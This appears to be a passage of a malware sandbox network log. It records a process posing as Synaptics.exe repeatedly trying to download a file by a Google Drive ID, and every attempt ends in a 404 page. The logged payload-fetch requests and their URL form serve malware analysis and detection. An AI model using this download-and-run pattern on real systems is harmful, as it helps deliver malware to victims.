2024-11-15 10:24:41 UTC	1378	IN	Data Raw: 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 6e 4b 30 33 38 48 4d 65 74 37 71 69 6d 65 30 77 6f 61 65 2d 50 67 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 Data Ascii: "><title>Error 404 (Not Found)!!1</title><style nonce="nK038HMet7qime0woae-Pg">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;mi
2024-11-15 10:24:41 UTC	149	IN	Data Raw: 69 6d 67 3e 3c 2f 73 70 61 6e 3e 3c 2f 61 3e 3c 70 3e 3c 62 3e 34 30 34 2e 3c 2f 62 3e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: img></span></a><p><b>404.</b> <ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.16	49784	142.250.185.78	443	6056	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-15 10:24:41 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=519=q1lrgPbFKCFyu9T66-I47plFxOcDwfVpLx1AMCfNBmcjVhw-lHFuRj4vTkQmEaNm3P5rkFiKGm8Y7Kh-YjhDVfZoa_nJ9BzX6mXcZUbqbT1yqaDMndMW1mfAPxxtETL9GO2a45cTllXcYq0IVEuvc0belUviCx4Nwnms2Hkkg8uxPlKHQA5ug14
2024-11-15 10:24:41 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 15 Nov 2024 10:24:41 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'report-sample' 'nonce-V0csk4Wg_XwbwrBNkq52jQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.16	49786	142.250.185.78	443	6056	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-15 10:24:41 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=519=q1lrgPbFKCFyu9T66-I47plFxOcDwfVpLx1AMCfNBmcjVhw-lHFuRj4vTkQmEaNm3P5rkFiKGm8Y7Kh-YjhDVfZoa_nJ9BzX6mXcZUbqbT1yqaDMndMW1mfAPxxtETL9GO2a45cTllXcYq0IVEuvc0belUviCx4Nwnms2Hkkg8uxPlKHQA5ug14
2024-11-15 10:24:41 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 15 Nov 2024 10:24:41 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'report-sample' 'nonce-bIegGmr9dg0VSI07Xf25OQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.16	49790	142.250.185.78	443	6056	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-15 10:24:42 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=519=q1lrgPbFKCFyu9T66-I47plFxOcDwfVpLx1AMCfNBmcjVhw-lHFuRj4vTkQmEaNm3P5rkFiKGm8Y7Kh-YjhDVfZoa_nJ9BzX6mXcZUbqbT1yqaDMndMW1mfAPxxtETL9GO2a45cTllXcYq0IVEuvc0belUviCx4Nwnms2Hkkg8uxPlKHQA5ug14
2024-11-15 10:24:43 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 15 Nov 2024 10:24:42 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'report-sample' 'nonce-X392AveldeziWoxPc2eCpA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.16	49789	142.250.185.65	443	6056	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-15 10:24:42 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=519=q1lrgPbFKCFyu9T66-I47plFxOcDwfVpLx1AMCfNBmcjVhw-lHFuRj4vTkQmEaNm3P5rkFiKGm8Y7Kh-YjhDVfZoa_nJ9BzX6mXcZUbqbT1yqaDMndMW1mfAPxxtETL9GO2a45cTllXcYq0IVEuvc0belUviCx4Nwnms2Hkkg8uxPlKHQA5ug14
2024-11-15 10:24:43 UTC	1253	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 15 Nov 2024 10:24:42 GMT Content-Security-Policy: script-src 'report-sample' 'nonce-B65aVVSftE18NG4XnnqHmw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1652 X-GUploader-UploadID: AFiumC440Or8D_Xo1vkwy3oSVVMg4teih-up4EWiKSW4kKpvQ-WmgIZ2XEm6lGB-AQduE-eb_j7IIG0Lww Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-11-15 10:24:43 UTC	125	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width
2024-11-15 10:24:43 UTC	1378	IN	Data Raw: 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 4f 61 45 66 38 45 70 49 68 45 65 74 35 42 72 68 4a 58 2d 4c 71 67 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 Data Ascii: "><title>Error 404 (Not Found)!!1</title><style nonce="OaEf8EpIhEet5BrhJX-Lqg">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;mi
2024-11-15 10:24:43 UTC	149	IN	Data Raw: 69 6d 67 3e 3c 2f 73 70 61 6e 3e 3c 2f 61 3e 3c 70 3e 3c 62 3e 34 30 34 2e 3c 2f 62 3e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: img></span></a><p><b>404.</b> <ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.16	49792	142.250.185.78	443	6056	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-15 10:24:42 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=519=q1lrgPbFKCFyu9T66-I47plFxOcDwfVpLx1AMCfNBmcjVhw-lHFuRj4vTkQmEaNm3P5rkFiKGm8Y7Kh-YjhDVfZoa_nJ9BzX6mXcZUbqbT1yqaDMndMW1mfAPxxtETL9GO2a45cTllXcYq0IVEuvc0belUviCx4Nwnms2Hkkg8uxPlKHQA5ug14
2024-11-15 10:24:43 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 15 Nov 2024 10:24:42 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'report-sample' 'nonce-Q5DF4Vd6CydPuIhMSvt_Ng' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.16	49791	142.250.185.65	443	6056	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-15 10:24:42 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=519=q1lrgPbFKCFyu9T66-I47plFxOcDwfVpLx1AMCfNBmcjVhw-lHFuRj4vTkQmEaNm3P5rkFiKGm8Y7Kh-YjhDVfZoa_nJ9BzX6mXcZUbqbT1yqaDMndMW1mfAPxxtETL9GO2a45cTllXcYq0IVEuvc0belUviCx4Nwnms2Hkkg8uxPlKHQA5ug14
2024-11-15 10:24:43 UTC	1253	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 15 Nov 2024 10:24:43 GMT Content-Security-Policy: script-src 'report-sample' 'nonce-DePdxBrWSkSAIdJ0sgC5jg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Content-Length: 1652 X-GUploader-UploadID: AHmUCY1Ka-ayYgy0gFTLLMc0oDM5XwWrGj7J1AfZzthJRsamnkaOpvBCd8ybDPbmOA9QUBBiF1PnKsDOMg Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-11-15 10:24:43 UTC	125	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width
2024-11-15 10:24:43 UTC	1378	IN	Data Raw: 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 68 46 50 4a 50 54 6a 47 64 78 5a 76 4f 41 37 54 4f 47 44 6e 69 51 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 Data Ascii: "><title>Error 404 (Not Found)!!1</title><style nonce="hFPJPTjGdxZvOA7TOGDniQ">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;mi
2024-11-15 10:24:43 UTC	149	IN	Data Raw: 69 6d 67 3e 3c 2f 73 70 61 6e 3e 3c 2f 61 3e 3c 70 3e 3c 62 3e 34 30 34 2e 3c 2f 62 3e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: img></span></a><p><b>404.</b> <ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.16	49793	142.250.185.78	443	6056	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-15 10:24:43 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=519=q1lrgPbFKCFyu9T66-I47plFxOcDwfVpLx1AMCfNBmcjVhw-lHFuRj4vTkQmEaNm3P5rkFiKGm8Y7Kh-YjhDVfZoa_nJ9BzX6mXcZUbqbT1yqaDMndMW1mfAPxxtETL9GO2a45cTllXcYq0IVEuvc0belUviCx4Nwnms2Hkkg8uxPlKHQA5ug14
2024-11-15 10:24:44 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 15 Nov 2024 10:24:44 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-39CcpOOLSvI49LexHOX3Sw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.16	49795	142.250.185.65	443	6056	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-15 10:24:44 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=519=q1lrgPbFKCFyu9T66-I47plFxOcDwfVpLx1AMCfNBmcjVhw-lHFuRj4vTkQmEaNm3P5rkFiKGm8Y7Kh-YjhDVfZoa_nJ9BzX6mXcZUbqbT1yqaDMndMW1mfAPxxtETL9GO2a45cTllXcYq0IVEuvc0belUviCx4Nwnms2Hkkg8uxPlKHQA5ug14
2024-11-15 10:24:44 UTC	1253	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 15 Nov 2024 10:24:44 GMT Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'report-sample' 'nonce-EfU79X79u7E4LbcOEOBvKg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Length: 1652 X-GUploader-UploadID: AHmUCY2kNgbFRD3DrajNVR7pKKXqnrwQIaRfV-7W54qyac6MQopila7ozQVqExmAJIQV9H6NBjrZyRUUJQ Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-11-15 10:24:44 UTC	125	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width
2024-11-15 10:24:44 UTC	1378	IN	Data Raw: 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 38 73 79 68 58 59 32 4e 41 71 4a 35 58 76 6b 6a 37 39 6e 69 4b 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 Data Ascii: "><title>Error 404 (Not Found)!!1</title><style nonce="8syhXY2NAqJ5Xvkj79niKA">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;mi
